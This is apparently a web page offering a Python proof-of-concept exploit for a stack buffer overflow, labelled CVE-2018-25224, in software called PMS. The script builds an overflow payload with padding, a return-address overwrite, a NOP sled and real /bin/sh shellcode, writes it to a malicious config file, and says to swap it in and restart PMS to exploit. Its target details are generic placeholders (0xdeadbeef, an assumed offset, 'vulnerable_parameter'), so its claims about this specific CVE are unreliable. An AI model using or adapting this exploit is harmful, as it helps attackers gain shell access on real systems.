CVE-2018-25224 PMS栈缓冲区溢出漏洞

import struct # PoC for CVE-2018-25224: PMS Stack-Based Buffer Overflow # This script generates a malicious configuration file to trigger the overflow. # Configuration: Adjust buffer offset based on target environment debugging BUFFER_SIZE = 256 # Example buffer size OFFSET = 260 # Offset to overwrite the return address # ROP Chain or Shellcode placeholder # In a real scenario, this would point to ROP gadgets to bypass DEP/NX # Example: Address of system() or a jmp esp gadget RET_ADDR = struct.pack("<I", 0xdeadbeef) # Payload construction # 1. Padding to reach the return address on the stack padding = b"A" * OFFSET # 2. Overwrite EIP/RIP with return address eip_overwrite = RET_ADDR # 3. NOP sled followed by shellcode (if executable stack is present) nop_sled = b"\x90" * 32 # Example shellcode (exec /bin/sh on Linux x86) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = padding + eip_overwrite + nop_sled + shellcode # Generate malicious configuration file # Assuming the vulnerable parameter is read into the stack buffer config_content = b"vulnerable_parameter = " + payload + b"\n" try: with open("pms_malicious.conf", "wb") as f: f.write(config_content) print("[+] Malicious configuration file 'pms_malicious.conf' created successfully.") print("[*] Replace the legitimate config file with this file and restart PMS to exploit.") except IOError as e: print(f"[-] Error creating file: {e}")